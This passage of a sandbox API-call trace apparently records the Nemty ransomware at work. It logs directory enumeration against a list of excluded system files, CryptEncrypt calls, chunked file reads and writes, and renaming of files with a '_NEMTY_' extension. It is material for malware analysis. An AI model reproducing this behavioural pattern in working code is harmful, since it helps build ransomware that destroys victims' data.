lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.665] CloseHandle (hObject=0xffffffff) returned 0 [0071.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0071.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0071.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.665] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv._nemty_kgobjgd_")) returned 0 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0071.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.666] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2=".") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="..") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="...") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="windows") returned -1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="rsa") returned -1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="NTDETECT.COM") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntldr") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="MSDOS.SYS") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="IO.SYS") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="ntuser.dat") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="RECYCLER") returned -1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="programdata") returned -1 [0071.666] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="appdata") returned 1 [0071.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0071.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0071.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0071.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0071.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0071.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0071.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0071.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0071.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0071.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 24 [0071.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0071.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0071.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0071.667] Sleep (dwMilliseconds=0x5) [0071.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde5f12d0, dwHighDateTime=0x1d561e7)) [0071.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde5f12d0, dwHighDateTime=0x1d561e7)) [0071.680] GetLastError () returned 0x5 [0071.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.680] GetLastError () returned 0x5 [0071.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0071.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0071.680] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0071.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0071.680] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="q3gpqjoZWZixdCjLDTBYAxT2MHmsxCm4VrhFdBFY/MxqA9VjXSztG1IvUKH/C16k\r\nAFxx3XRevWGtj3m876IN7BrM5EKp4hJn2IN8+N7+bJrUmW8Etr1daxessS5xMZah\r\nYC55/jC095fWddSrhZ7U25TsO6z0vRVZ6+xo0JIBkbCnvoGsTZfNne69spwUUlE3\r\nmSwYhcoWcpJI/TIPyzrpNxzByBgvtbL0B8IZuXHVvxniSbUM/GiXNlL9K1k9uucw\r\npyZ45Tcf3Wf15/34PzT3oK6e6E3VEIBb5PcAU3K9bqTR+QPGYhOeOo22x+oY2JQz\r\nzmoUpx6kU/PMN7pqqhZmFg==\r\n", pcchString=0x653e91c) returned 1 [0071.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0071.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0071.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0071.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0071.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0071.681] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.681] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0071.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0071.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.830] SetFilePointer (in: 